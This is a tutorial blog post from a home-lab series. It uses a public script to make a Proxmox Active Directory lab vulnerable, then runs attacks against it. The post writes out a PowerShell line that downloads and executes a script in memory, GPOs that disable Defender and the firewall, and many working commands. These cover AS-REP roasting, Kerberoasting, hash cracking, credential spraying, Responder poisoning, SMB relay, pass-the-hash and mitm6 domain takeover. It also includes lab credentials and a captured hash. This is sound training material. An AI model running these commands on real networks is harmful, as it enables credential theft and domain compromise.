Hack Your Proxmox AD Lab

In this module we will look at using a publicly available script to make our Active Directory domain susceptible to multiple vulnerabilities.
Hack Your Proxmox AD Lab
In: Proxmox, Home Lab, Active Directory, Attack, Windows
This page is part of the larger series of converting an old laptop into a bare metal home lab server. Click here to be taken back to the project home page.

Previous Step

Adding an Active Directory Forest to Our Proxmox Lab
In this module, we will cover the steps to set up a small Active Directory forest in Proxmox, including a domain controller and two client computers

Using a Vulnerable AD Script

GitHub - WaterExecution/vulnerable-AD-plus: Create a vulnerable active directory that’s allowing you to test most of the active directory attacks in a local lab
Create a vulnerable active directory that's allowing you to test most of the active directory attacks in a local lab - GitHub - WaterExecution/vulnerable-AD-plus: Create a vulnerable active di…

Following along with the installation guidance, you should do the following:

  1. Log into your Domain Controller VM
  2. Run the script on the Domain Controller

Open PowerShell as Administrator

Right-click the Start Menu and Choose Windows PowerShell (Admin)

Here, you can see I've got PowerShell running on my Domain Controller at IP address

Run the Script in Memory

I am going to run the following PowerShell commands:

# Set the Execution Policy to allow unsigned scripts
Set-ExecutionPolicy -ExecutionPolicy Bypass -Force

We're going to download the script as a string using a .NET class. The script has a placeholder domain name of change.me, so we must change that before running it.

I'll use the PowerShell -replace operator to change change.me to ad.lab. Be sure to substitute it with whatever your domain is. The script will then run in memory using Invoke-Expression.

[System.Net.WebClient]::new().DownloadString('https://raw.githubusercontent.com/WaterExecution/vulnerable-AD-plus/master/vulnadplus.ps1') -replace 'change\.me', 'ad.lab' | Invoke-Expression

As the script executes, you should see lots of output and green status indicating successful operations. In the screenshot below, we're at the end of the script and the server is going to reboot in 30 seconds.

Enable Some Extra Configurations

Group Policy Objects

Group Policy Objects (GPOs) are a convenient way to ensure that all of your domain-joined hosts conform to a uniform baseline. The workflow goes like this:

  1. Define a set of GPOs on the domain controller.
  2. Update the group policy database by using the gpupdate /force command on the domain controller.
  3. If a host joins the domain for the first time, it will apply the domain policy at the moment it joins.
  4. Hosts that are already joined to the domain will poll the domain controller(s) at regular intervals for updates to the policy. The system administrator can also manually trigger this process using the gpupdate /force command.

Disable Windows Defender Antivirus and Firewall

Open the Start Menu and search for Group Policy

Expand your forest until you see your domain

Right-click your domain name and choose Create a GPO...

Click OK. Right-click on your new group policy object and click Edit…

Expand down into Computer Configuration > Policies > Administrative Templates > Windows Components

Click on Windows Defender Antivirus

Set it to Enabled and click OK

Click on Real-time Protection

Double-click Turn off real-time protection

Set it to Enabled and click OK

Now, go to Network > Network Connections > Windows Defender Firewall > Domain Profile

Double-click Windows Defender Firewall: Protect all network connections

Set it to Disabled and click OK

Right-click the group policy object

Turn on the Enforced option

Enabling Any Local Admin Remote Logon

Log into your Domain Controller and run Group Policy Management app.

Expand into and right-click the domain name. Choose Create a GPO in this domain, and Link it here...

Give it a nice descriptive name and click OK.

Right-click the new GPO and click Edit

Descend into Computer Configuration > Preferences > Windows Settings > Registry. Then, right-click Registry and choose New > Registry Item.

  • The Key Path is SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\
  • The ValueName is LocalAccountTokenFilterPolicy
  • The ValueType is REG_DWORD
  • The ValueData is 1

Click OK

Enable WinRM Server on All Domain Hosts

Log into your Domain Controller and run Group Policy Management app.

Expand into and right-click the domain name. Choose Create a GPO in this domain, and Link it here...

Give the GPO a name of something descriptive like Enable WinRM Service. Then, right-click the new GPO and choose Edit.

Start from Step 5 on the IBM knowledge base article below. You don't need to run gpupdate /force just yet, as we have other GPOs to create.

You can skip the last step where they create a firewall rule, since we've disabled the firewall in a previous GPO.
Enabling WinRM Via Global Policy Objects

This will open TCP/5985 on your Windows 10 hosts. You can verify the service is running by checking if that port is open.

Enable Remote Desktop Service on All Domain Hosts

Log into your Domain Controller and run Group Policy Management app.

Expand into and right-click the domain name. Choose Create a GPO in this domain, and Link it here...

Give the GPO a name of something descriptive like Enable Remote Desktop Service. Then, right-click the new GPO and choose Edit.

Descend into Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Connections. Then, configure the policy as shown below and click OK.

This will open TCP/3389 on your Windows 10 hosts. You can verify the service is running by checking if that port is open.

If you want to allow any non-admin user to RDP into your domain hosts, follow the guidance here:

Use the GPO you've created here in this step and follow along with the article. The article uses the Remote Server Users security group, which doesn't exist in this lab. Instead, you can use the Domain Users group.

Enable RPC Access on All Hosts

Log into your Domain Controller and run Group Policy Management app.

Expand into and right-click the domain name. Choose Create a GPO in this domain, and Link it here...

Give the GPO a name of something descriptive like Enable RPC Access on All Hosts. Then, right-click the new GPO and choose Edit.

Descend into Computer Configuration > Administrative Templates > System > Remote Procedure Call and set Enable RPC Endpoint Mapper Client Authentication to Enabled.

Update the Domain Policies

Now, open a PowerShell console as administrator on the Domain Controller and run this command:

gpupdate /force

Finally, reboot your Windows 10 VMs, so that they pull the new policies when they come up. Alternatively, you can log into each VM and run the gpupdate /force command.

Testing Some Attacks

Putting Kali on the AD Network

Refer to the instructions here for putting Kali on the Active Directory LAN (as well as putting it back).

Adding an Active Directory Forest to Our Proxmox Lab
In this module, we will cover the steps to set up a small Active Directory forest in Proxmox, including a domain controller and two client computers

Enumerate the Domain

Enumerating Hosts and ... | 0xBEN | Notes
Post-Compromise Enumeration Enumerating Hosts PowerShell Ping Sweep on Target Not the most reliab…
sudo nmap -Pn -p389 -T4 --script ldap-rootdse
Here we can see the root domain name is 'ad.lab'

RID Cycling to Enumerate Users

This one isn't technically part of the vulnerable AD script. What I did is reference this article that disables null session enumeration and worked in reverse on the domain controller.


A reboot is required to apply the changes.

Let's try null session enumeration and see if we can anonymously authenticate to the domain controller and produce some user names by spraying RIDs.

NULL Session Enumerati... | 0xBEN | Notes
NULL Session LDAP, SMB, and RPC may allow a user to authenticate to the service without providing a…
enum4linux -a -r -K 5000
Start of RID cycling
Look at all those usernames!

This is a really good trick to try on Active Directory labs and challenges where you don't have any usernames and just need a start to begin some possible password spraying attacks.

Anonymous LDAP Queries

This is one of the listed vulnerabilities on the GitHub project page. Let's give it a spin. We can use this query to ask for all users in the domain. Keep in mind, I'm using the ad.lab domain name, so substitute yours accordingly.

ldapsearch -x -H ldap:// -D 'CN=anonymous,DC=ad,DC=lab' -W -b 'DC=ad,DC=lab' 'objectClass=user'

Authenticate as 'anonymous@ad.lab', when prompted for password, press Enter


AS-REP Roasting Usernames

First, we'll get all of the usernames as we have before, and then transform the output and send it to a file.

ldapsearch -x -H ldap:// -D 'CN=anonymous,DC=ad,DC=lab' -W -b 'DC=ad,DC=lab' 'objectClass=user' | grep -i samaccountname | sed 's/sAMAccountName\:\ //g' > /tmp/usernames.txt

Output to /tmp/usernames.txt

Next, we can run the impacket-GetNPUsers script to see which users are AS-REP roastable.

impacket-GetNPUsers -usersfile /tmp/usernames.txt -no-pass -dc-ip ad.lab/

Again, my domain is 'ad.lab', change accordingly

Finally, we can see there is a user in this list that is AS-REP roastable.

I'll copy and paste the entire hash to /tmp/hash.txt


Then, see if we can crack it using the project password list here. I'll save the password list in /home/ben/Desktop/vulnerable-ad-pw.txt.

john --wordlist=~/Desktop/vulnerable-ad-pw.txt /tmp/hash.txt
Perfect! Now we have a credential to enumerate even more!

Dumping Resources from LDAP

ldapdomaindump -u 'ad.lab\joan.hesther' -p madison -o /tmp/ldapoutput

Hunting for Passwords in User Properties

grep -i password /tmp/ldapoutput/domain_users.grep

Search for the word 'password' in the output file

We can see that both Carin and Joletta have a password exposed in their user descriptions. Clem — on the other hand — is noted as still having the company default password.

Enumerating Domain Computers

cat /tmp/ldapoutput/domain_computers.grep

Dumping Active Directory Integrated DNS

Dumping DNS Records wi... | 0xBEN | Notes
Active Directory Integrated DNS Dump (adidnsdump) GitHub Repository Installation python3 -m pip i…
adidnsdump -u 'ad.lab\joan.hesther' -p 'madison' -r ldap://

Change your user and domain name as needed for your lab

Enumerate the Domain Account Policy

crackmapexec smb -u joan.hesther -p madison -d ad.lab --pass-pol

Use crackmapexec and substitute any username/domain as needed for your environment

Account Lockout Threshold: None is really good news for us, as we can spray credentials to our heart's content without worrying about locked accounts!

Check for Kerberoastable Accounts

impacket-GetUserSPNs -dc-ip 'ad.lab/joan.hesther:madison'

List any service principals for this user

Nice! Looks like three user service accounts!

Let's request some Ticket-Granting-Service (TGS) tickets and see if we can crack the NTLM hash in those tickets.

impacket-GetUserSPNs -dc-ip 'ad.lab/joan.hesther:madison' -request

Append the '-request' option

Below are the TGS that I requested from the Kerberos server. I'm going to save these in /tmp/spn.txt and try and crack them with that password file before.

hashcat -m 13100 --force /tmp/spn.txt ~/Desktop/vulnerable-ad-pw.txt
mssql_svc has been cracked!

Credential Spraying

So far, we've gathered a handful of credentials that we can try spraying around the network to check our access. I'll split into two files — user.txt and pass.txt.





crackmapexec smb -u /tmp/user.txt -p /tmp/pass.txt -d ad.lab | grep -v FAILURE

Spray them around the whole network and 'grep' out failed logins

Note that carin.joycelin and joletta.glynnis both have valid passwords, but they need to be changed. mssql_svc was able to authenticate to all the hosts, but is not admin on any of them.

Enumerating Public SMB Shares

smbclient -N -L //

List shares anonymously on the domain controller

The Common share looks interesting. We're almost certainly not going to have permissions to C$ or ADMIN$.

smbclient -N //

Open the share for browsing

We don't have permissions to retrieve files from the share, but we can write to the share which may be interesting later.


Install and Configure Bloodhound and Database

sudo apt install -y neo4j bloodhound

Install Bloodhound and Neo4j database

sudo neo4j console &

Launch neo4j database in the background

Now, open a web browser and navigate to

  • username: neo4j
  • password: neo4j

You will be prompted to change the password. Save it in your password vault.

sudo bloodhound &

Launch Bloodhound in the background

The username and password are the neo4j credentials you setup just before.

Remote Bloodhound Collector

Remote Bloodhound | 0xBEN | Notes
GitHub Repo Prerequisites impacket ldap3 dnspython Installation python3 -m pip install…
sudo nano /etc/hosts

Edit your /etc/hosts file        dc1.ad.lab

Add a local DNS entry for your domain controller

bloodhound-python -c All -u joan.hesther -p 'madison' -d ad.lab -ns
Drag and drop these files into Bloodhound for processing

Local Bloodhound Collector

Releases · BloodHoundAD/SharpHound
C# Data Collector for BloodHound. Contribute to BloodHoundAD/SharpHound development by creating an account on GitHub.
If you installed Bloodhound using apt install bloodhound, or are using the default Kali installation, double-check your installed version of bloodhound using apt list --installed bloodhound and make sure you're using the most recent version in order to be able to import data from the latest collectors.
xfreerdp | 0xBEN | Notes
Usage and Help Display the xfreerdp man page man xfreerdp Display the xfreerdp help output on the…
If you're trying to RDP into one of your domain-joined hosts as a non-admin user and it's not working, ensure you've followed the additional step when creating the Remote Desktop GPO to allow non-admin users to RDP in.

I'm going to RDP into one of the domain-joined Windows 10 hosts. I'll also map a network drive called kali-share between Kali and the target, which makes it really easy to move files to and from the target.

xfreerdp /v: /u:'ad.lab\joan.hesther' /p:'madison' /drive:.,kali-share +clipboard

You can conveniently run the SharpHound collector right from the network share and when it's finished, it will place the collected files in this directory.

The collected data has been compressed into a .zip archive
Drag the .zip archive directly into the Bloodhound window to import the data

Example of Using a Predefined Query

LLMNR Poisoning

This has been added into the documentation after I gave a presentation on Active Directory pentesting methodolgy in preparation for the PJPT and/or PNPT. So, there are some different usernames in the screenshots, but the concepts are the same.

Configure Responder

sudo nano /etc/responder/Responder.conf
SMB = On

Ensure these protocols are enabled

Start Responder

sudo responder -I eth0 -dvw

What's going to happen now is if a user types in a non-existent hostname on the domain, the user's computer will try and resolve the hostname using LLMNR, which broadcasts the DNS lookup on the LAN. Then, responder will poison this response informing the target that Kali's IP is the requested resource.

Simulate a User Error

  1. Log into one of your domain-joined Windows 10 hosts as any user
  2. Request a UNC mapping on a non-existent host: \\nosuchserver

Responder has replied that — Kali's IP address — is the IP address for the nosuchserver.local LLMNR lookup. The client then attempts to authenticate to the SMB server being served by responder.

Caught a NetNTLMv2 hash for the user, 'testuser123'

Attempt to Crack the Hash

Output the NetNTLMv2 hash to a file and attempt to crack it with john. The crack_hashes.txt file is a dummy wordlist I put together for demonstration purposes, as I know testuser123's password.

echo 'testuser123::AD:732542a6f3f915f5:F45FC641DB17B4E4FF8BA900A7797180:010100000000000080052DE0883FDA011A34BCC74A5C918C0000000002000800490054005300420001001E00570049004E002D0052004A005A0032005000390059004A00470051004C0004003400570049004E002D0052004A005A0032005000390059004A00470051004C002E0049005400530042002E004C004F00430041004C000300140049005400530042002E004C004F00430041004C000500140049005400530042002E004C004F00430041004C000700080080052DE0883FDA01060004000200000008003000300000000000000001000000002000000DACA5687DC86946BC593A96AB967B875FBFF8E61060D50FF3A9939E1B6F14D30A001000000000000000000000000000000000000900220063006900660073002F006E006F0073007500630068007300650072007600650072000000000000000000' > net-ntlm-hash
john --wordlist=crack_hashes.txt net-ntlm-hash

Pass the Password Around the Network

crackmapexec smb -u 'testuser123' -p 'TestUser1!' -d ad.lab

Excellent! testuser123 is an administrator on WIN10ENT1.ad.lab. The next logical step would be to see what other information (e.g. usernames, password, hashes) we can dig up from this host.

Dump Hashes from WIN10ENT1

impacket-secretsdump 'testuser123:TestUser1!@'
Recall that when we setup the Active Directory lab in the previous setp that the Template user is a local administrator. The password is repeated across multiple hosts.

Pass the Local Administrator's Hash Around

crackmapexec smb -u 'Template' -H '66216d8fd712c24c18dfa588cfdeca75' --local-auth -M lsassy

Nice! Using crackmapexec and the lsassy module, we were able to dump the Domain Administrator's hash from (I had logged onto that host for the sake of this exercise).

SMB Relay

SMB Relay (Internal/Ex... | 0xBEN | Notes
Note: Network Environment This attack works best in a flat network. However, as long as the attacke…

Prepare to Catch and Relay on Kali

I'd recommend opening a split terminal for this step. On one side, you have responder running, on the other you have impacket-ntlmrelayx running.

Target List

echo '' > /tmp/targets.txt
echo '' >> /tmp/targets.txt
echo '' >> /tmp/targets.txt

Responder Config

sudo nano /etc/responder/Responder.conf
; Servers to start
; ...
; ... Commented out for brevity
; ...
SMB = Off
HTTP = Off
; ...
; ... Commented out for brevity
; ...

Turn off 'SMB', 'HTTP' as they will be served by 'ntlmrelayx'

Setting up the Relay

sudo responder -I eth0 -dvw

Run Responder on one side

sudo impacket-ntlmrelayx -smb2support -tf /tmp/targets.txt

Run ntlmrelayx on the other side

Scenario: Authenticating to a Non-Existent Share

  1. Log into as the domain.admin@ad.lab user
    1. Recall that this is the Domain Administrator account we set up when first provisioning the Active Directory forest
  2. This user incorrectly tries to map the \\\files share, where is the IP address of my Kali VM
  3. responder is helpful in this case in that we can poison requests and log the NetNTLM hash
  4. ntlmrelayx is helpful in this case in that it spoofs the SMB server, which intercepts the erroneously typed \\\files request from
Login in as 'domain.admin'
Attempt to map the bad share
We dumped SAM hashes from

Dump LSA with Pass-the-Hash Attack

Dumping Hashes without... | 0xBEN | Notes
Post-Compromise on Target Lsass Process Dump Sysinternals ProcDump Download ProcDump here # Dump…
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:66216d8fd712c24c18dfa588cfdeca75 'Template@'
domain.admin's NTLM hash is in the output!

Get a Shell with Pass-the-Hash Attack

IPv4 Domain Takeover Using IPv6

Acquiring and Running MITM6

git clone https://github.com/dirkjanm/mitm6
cd mitm6
python3 -m pip install -r requirements.txt

Now that the mitm6 environment has been built, you can run the mitm6.py script. The high level view of this script is that it announces itself as a DHCPv6 server and router on the Local Area Network (LAN).

Most Windows hosts actively use IPv6 it is not implemented in the network environment. Therefore, when they broadcast a DHCPv6 discover request, mitm6 will happily give them a malicious configuration.

sudo python3 ./mitm6.py -d 'ad.lab'

Relay NetNTLMv2 Authentication

Start ntlmrelayx

# -6: IPv6 support
# -t: target
# -wh: WPAD hostname
# -l: loot directory to store output
sudo impacket-ntlmrelayx -6 -t ldaps:// -wh wpad.ad.lab -l mitm6_output_files

Relay a Privileged Credential

For the sake of this demonstration, we'll use a Domain Administrator's credential on a domain-joined Windows 10 host.

You shouldn't log into client devices using a Domain Administrator account, but this kind of thing does happen in the real world.
  1. Log into one of your domain-joined hosts as domain.admin@ad.lab
  2. Run the command Restart-NetAdapter * in an elevated PowerShell terminal. This will cause the network interface on the host to request a DHCPv6 lease. Otherwise, you'd have to wait until the host automatically tries to renew its lease.
mitm6 offers WIN10ENT1 an IPv6 address
Which causes WIN10ENT1 to request a WPAD file from Kali, then relays the NTLM credentials to the LDAPS server on the Domain Controller and creates a user with DCSync rights

Lots and Lots More Attacks

The official list of supported attacks is in the project GitHub's readme.

vulnerable-AD-plus/README.md at master · WaterExecution/vulnerable-AD-plus
Create a vulnerable active directory that’s allowing you to test most of the active directory attacks in a local lab - WaterExecution/vulnerable-AD-plus

I can't possibly cover every attack in this tutorial, but have given you enough to get started. Please have a look at my Active Directory Attack Map and Active Directory Notes for more ideas.

Also, search around some more on Google. HackTricks and ired.team are bound to have lots more ideas to reference from.

Additional Ideas

Wazuh Monitoring

  1. Install and start the Wazuh agent on Domain Controller and Windows 10 hosts
  2. Install and start Sysmon on the Domain Controller and Windows 10 hosts
  3. Configure the Wazuh agents to ingest the Sysmon logs
Installing Wazuh agents on Windows endpoints - Wazuh agent
User manual, installation and configuration guides. Learn how to get the most out of the Wazuh platform.
Wazuh: Mapping Sysmon Events to MITRE ATT&CK IDs
In this post, I show how I implemented and worked around some issues while adding an enhanced ruleset mapping Sysmon events to ATT&CK IDs.

Finally, create a firewall rule on your pfSense Active Directory interface to allow the traffic to pass to the Wazuh Manager server. Here is a rule from another lab of mine you can reference.

Example rule to allow traffic to Wazuh Manager
Just remember firewall rule positioning (top to bottom) needs to be taken into consideration, so place it above the rule that blocks traffic to non-public addresses.

Then, as you're testing out different attacks, you can search based on source and destination IP addresses, Windows Event logs, and more to see what kind of alerts your attacks raise.

Next Step

External Pentest Practice in Your Proxmox AD Lab
In this module of the Proxmox cybersecurity home lab project, we are going to look at the process of setting up a dual-homed target to serve as a pivot point into an Active Directory network.
More from 0xBEN
Proxmox: Running Bliss OS

Proxmox: Running Bliss OS

In this tutorial, we will look at the process of running Bliss OS in the Proxmox hypervisor, making it convenient to run Android apps from your home lab server.
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.